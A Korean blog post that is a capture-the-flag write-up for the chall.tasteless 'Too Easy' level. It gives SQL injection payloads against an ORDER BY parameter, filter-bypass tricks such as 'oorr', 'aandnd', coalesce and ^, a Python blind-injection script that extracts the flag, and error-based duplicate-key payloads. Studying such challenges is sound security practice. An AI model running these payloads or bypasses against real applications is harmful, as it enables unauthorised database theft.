webhacking/sql, sql injection

chall.tasteless.se Too Easy

qkqhxla1 2014. 12. 24. 17:37

공격 포인트를 알았는데 푸는데 한참 걸렸다. 앞문제 Infiltration처럼 정렬 관련된 ASC가 있다.


?in=,1%23가 입력됬을때 제대로 뜨는 것으로 보아 Infiltration과는 달리


앞뒤로 괄호가 안씌워져 있으므로 union을 통한 인젝션은 불가능하다.


컬럼을 숫자로 하나하나 대입해본결과 마찬가지로 컬럼은 1,2 두개이고 여러번 대입 가능하다.


(?in=,1,2,1%20ASC%23 이런식으로) 컬럼 자리에는 서브쿼리로 인젝션이 가능하다.


참고로 if,case,ascii,ord는 못쓰고, or,and,*이 없어진다. 실험결과 한번만 없애서


oorr, aandnd, 다른문자 로 우회가 가능하다.



방법1.

블라인드 인젝션 하라는 경고문구가 없기 때문에 일반적인 블라인드 인젝션을 했다.


풀면서 출제자는 블라인드 인젝션으로 푸는걸 의도하지 않은것 같다. if,case가 막혀있으므로


못쓸거라 예상했겠지만 이전 글의 어딘가에서 coalesce함수를 우연찮게 찾아냈다고 말했었다.


이건 if,case가 막혀있을시 대신 쓸수 있는 아주 좋은 함수이다(진짜 이거찾은건 좋은 수확인듯)




요런식으로 id중에 3b라고 첫글자가 3인게 있다. 이걸 뽑아낸다고 가정하면 위 쿼리는


첫글자가 3이면 첫번째 서브쿼리를 실행하고, 3으로 시작하는게 없으면 (select 1 union select 2)


라는 쿼리를 실행해서 에러를 발생시킨다. if나 case가 없을시 사용하기 좋다. 


저 성질을 이용해서 코딩을 하면.


# -*- encoding: cp949 -*-
import urllib2

answer = ''
for j in range(1,34):
    for i in range(32,128):
        print j,i,answer
        req = urllib2.Request('http://chall.tasteless.eu/level6/index.php?in=,(coalesce((select%20flag%20from%20level6_flag%20where%20hex(substr(flag,'+str(j)+',1))=hex('+str(i)+')%20oorr%20null%20limit%201),(select%201%20union%20select%202)))%23')
        req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36')
        read = urllib2.urlopen(req).read()
        if read.find('Subquery') == -1:
            answer += chr(i)
            break


처럼 하면 된다. 좀 오래걸리니 lpad,bin같은걸로 효율적인 인젝션을 만들어서 짜는게 더 좋다.


난 귀찮아서 안함




방법2.

이방법이 출제자가 의도한 방법같은데 에러기반 인젝션 방법이다. 에러 기반 인젝션중에서 


값이 바로 나오는 인젝션으로 ExtractValue, UpdateXML, 중복 그룹 키를 이용한 인젝션이


있는데 이중 중복 그룹 키를 이용한 인젝션이다. 간단하게 예시만 적자면


select 1 from dual where 1=1 and row(1,1)>(select count(*),concat(version(),floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1);


이건데.. 이 페이지에서는 실험해본결과 위에 적어놓은것처럼 or,and,*를 없애고, 거기다 길이제한까지


있다. 일단 위의 쿼리를 줄일수있을만큼 줄이고 *도 빼보았다.


select 1 from (select max(0),concat(version(),floor(rand(0)*2))x from (select 1 union select 2 union select 3)a group by x)b;


까지 줄여졌다. 그다음 or and를 한번 더 집어넣고 *와 다른 연산자를 이것저것 다 해보다가 ^로 바꿔도


제대로 작동한다는걸 알아냈다. 그리고 이 쿼리를 집어넣어봤더니 제대로 작동한다.


in=,(select 1 from (select max(0),concat(version(),flooorr(raandnd(0)^2))x from (select 1 union select 2 union select 3)a group by x)b)%23


서브쿼리로 version()부분만 바꿔주면 된다.


in=,(select 1 from (select max(0),concat((select flag from level6_flag),flooorr(raandnd(0)^2))x from (select 1 union select 2 union select 3)a group by x)b)%23


방법1, 방법2 둘다 동일한 답이 나온다.

'webhacking > sql, sql injection' 카테고리의 다른 글

RedTigers Hackit 4~5  (0) 2015.01.08
RedTigers Hackit 1~3  (1) 2015.01.08
chall.tasteless.se Infiltration  (0) 2014.12.24
webhacking.kr 27, 29  (0) 2014.11.30
chall.tasteless.se Stop Quotes  (0) 2014.11.21